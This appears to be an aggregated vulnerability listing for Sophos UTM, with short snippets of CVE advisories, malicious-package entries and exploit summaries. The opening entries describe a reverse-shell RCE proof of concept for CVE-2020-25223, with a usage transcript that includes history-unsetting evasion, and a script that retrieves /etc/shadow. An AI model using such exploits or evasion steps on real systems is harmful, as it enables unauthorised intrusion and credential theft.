sophucked

sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...

CVE-2020-25223

CVE-2020-25223 Un script PoC para probar CVE-2020-25223 contra una Sophos UTM afectada. Dada una dirección IP, el script intenta descargar una copia del archivo /etc/shadow del dispositivo. Investigación original: https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223...

CVE-2022-0652

Confd log files contain local users', including root’s, SHA512crypt password hashes with insecure access permissions. This allows a local attacker to attempt off-line brute-force attacks against these password hashes in Sophos UTM before version 9.710...

EUVD-2016-8253

Malware in sbrugna...

EUVD-2014-2573

Malware in sbrugna...

EUVD-2016-3152

Malware in sbrugna...

EUVD-2017-8193

Malware in sbrugna...

EUVD-2021-12184

Malware in sbrugna...

EUVD-2013-5766

Malware in sbrugna...

EUVD-2016-8295

Malware in sbrugna...

EUVD-2022-15535

Malicious code in bioql PyPI...

EUVD-2022-15746

Malicious code in bioql PyPI...

CVE-2021-25273

Stored XSS can execute as administrator in quarantined email detail view in Sophos UTM before version 9.706...

CVE-2022-0386

A post-auth SQL injection vulnerability in the Mail Manager potentially allows an authenticated attacker to execute code in Sophos UTM before version 9.710...

Sophos SG UTM < 9.511 / 9.6 < 9.607 / 9.7 < 9.705 RCE (CVE-2020-25223)

A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before 9.511 MR11, 9.6 before 9.607 MR7, and 9.7 before 9.705 MR5. An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands on the remote host as the root user. Note...

Sophos Unified Threat Management (UTM) Local Detection

Binary data sophosutmdetect.nbin...

Vulnerability fixed in Sophos UTM

A vulnerability has been fixed in Sophos UTM. The vulnerability allows an authenticated remote malicious person to perform an SQL injection to execute, potentially obtaining sensitive data. obtain. The vulnerability is located in the quarantine manager of the email component of Sophos UTM. Sophos...

Sophos Unified Threat Management (UTM) Remote Detection

Binary data sophosutmwebdetect.nbin...

Sophos UTM log information leakage vulnerability

Sophos UTM is a next-generation firewall. a security vulnerability existed prior to Sophos UTM 9.710, which stems from the fact that Confd log files contain SHA512crypt password hashes for local users including the root user with insecure access rights, which can be exploited by attackers to...

CVE-2022-0386

A post-auth SQL injection vulnerability in the Mail Manager potentially allows an authenticated attacker to execute code in Sophos UTM before version 9.710...